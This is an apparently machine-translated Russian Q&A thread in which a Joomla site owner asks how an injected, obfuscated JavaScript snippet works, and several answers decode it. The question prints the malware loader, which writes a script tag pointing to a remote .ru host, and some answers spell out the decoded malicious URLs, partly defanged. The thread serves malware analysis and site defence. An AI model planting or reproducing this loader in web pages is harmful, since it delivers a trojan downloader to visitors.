Как работает сценарий заражения этого сайта?

Мой Joomla! сайт неоднократно взламывался. Кто-то, каким-то образом, сумел ввести следующий мусор в ключевые php-скрипты, но я имею в виду не говорить о настройке Joomla. Сайт не посещается много (иногда я боюсь, что я могу быть единственным посетителем этого сайта...), и мне все равно, что сайт будет работать и работать. В конце концов, я это обработаю.

Мой вопрос: как этот мусор работает? Я смотрю на это, и я просто не понимаю, как это может навредить? Он пытается загрузить файл PDF с именем ChangeLog.pdf, зараженный трояном, и после открытия будет заморозить ваш Acrobat и нанести ущерб вашему компьютеру. Как это делается, я не знаю, мне все равно. Но как следующий фрагмент script вызывает загрузку?

<script>/*Exception*/ document.write('<script src='+'h#^([email protected])((t$&@p#:)&/!$/)@d$y#^#[email protected]$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@[email protected]@([email protected]$p(.&@c&)@(o$m)).!$m$)[email protected]([email protected]()s&[email protected]&o$&(u#)$x&&^(i)[email protected]^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&[email protected]&^&l^$(l)&y$(#@[email protected]!((o#d&^.^#)r$#^u!!$:(#@&8#)([email protected]&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&[email protected]!&^m#&/&(s&$(o!f&[email protected]&o!!n)&i$&c!.#^^c)[email protected]@(([email protected]#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^[email protected]$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&[email protected](z(@)^[email protected])c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET обнаружил этот код как JS/TrojanDownloader.Agent.NRO trojan

Ответ 1

Обратите внимание на вызов replace после гигантской беспорядочной строки: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Он удаляет большинство специальных символов, превращая их в обычный URL-адрес:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(я вручную изменил http: на evil:)

Обратите внимание, что регулярное выражение могло быть упрощено до .replace(/[#[email protected]^&()!]/ig, '')

Если вы посмотрите на script, вы увидите, что это очень простой script, который вводит скрытый IFRAME, содержащий путь /index.php?ys из того же домена.

Я попросил эту страницу в Fiddler, и у нее не было контента.

Ответ 2

Эти ответы могут помочь вам понять природу вредоносного кода JavaScript, но то, что вы должны искать, - это способ закрыть лазейку, присущую движку Joomla. Предварительно упакованные структуры подвержены лазейкам, преднамеренным или непреднамеренным, особенно если учесть, что они созданы для работы в средах unix, mac и windows.

Моя работа требует, чтобы я запускал много доменов, приложений и фреймворков на многих типах серверов и систем для клиентов и меня. Со временем я видел все больше и больше ботов, ползающих по этим системам, которые ищут известные лазейки/входы через входные двери задних дверей, созданные этими структурами. Хорошо, когда я использую любые типы фреймворков, которые я редко делаю, я обязательно переименую большинство, если не всю файловую структуру, чтобы избавиться от этих досадных лазеек/задних дверей. По крайней мере, вы можете переименовывать каталоги, которые будут отбрасывать большинство ботов, но мой путь - полностью исключить ссылки, которые дают ключ к сущности рамки, которая включает переименование всей файловой структуры, а не только каталогов. Всегда сохраняйте карту новых соглашений об именах относительно старых соглашений об именах, чтобы добавить плагины в базовую инфраструктуру. Как только вы получите это, вы можете перейти к программному переименованию всей структуры фреймворка для более быстрых результатов, что особенно полезно, когда приходится иметь дело с клиентами, которые должны иметь возможность обновлять свою инфраструктуру с помощью плагинов и т.п.

Ответ 3

Он просто заменяет регулярное выражение на URL script, чтобы дать вам

ПРИМЕЧАНИЕ: НЕ ПОСЛЕДУЙТЕ НИЖНУЮ ЛИНКУ (вставлено **, чтобы удержать копии-пасты)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

как src

Ответ 4

Он использует функцию replace, чтобы заменить символы мусора, используя регулярное выражение, ничего неправильного с кодом:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

Ответ 5

Загрузка script из

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

И что script загрузите iframe из с видимостью hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

Ответ 6

Когда вы прочтете все это, вы обнаружите, что это строка, за которой следует команда replace.

Ответ 7

У меня есть один и тот же sript на моих страницах в файлах index *. *. Я пишу свой собственный код на PHP. Мой вопрос заключается не в том, как это работает, но я спрашиваю, как защитить, если вы знаете их на заднем дворе. Я изменил формы и прочитал $_POST и $_GET с заменой < > и http://и т.д.

Ответ 8

Мои два цента. У вас/вы можете установить инструмент для резервного копирования Joomla, такой как Joomlapack?

Я установил его для запуска через CHRON script, чтобы сохранить товар удобным в случае, если грабители получат грабеж.

Какую версию Joomla вы используете?

версии 1.0.X больше не обновляются, и возраст действительно начинает показывать. Вы обязаны сделать это ради резервного копирования и планируете обновить до 1.5 и предвидеть чудеса 1.6.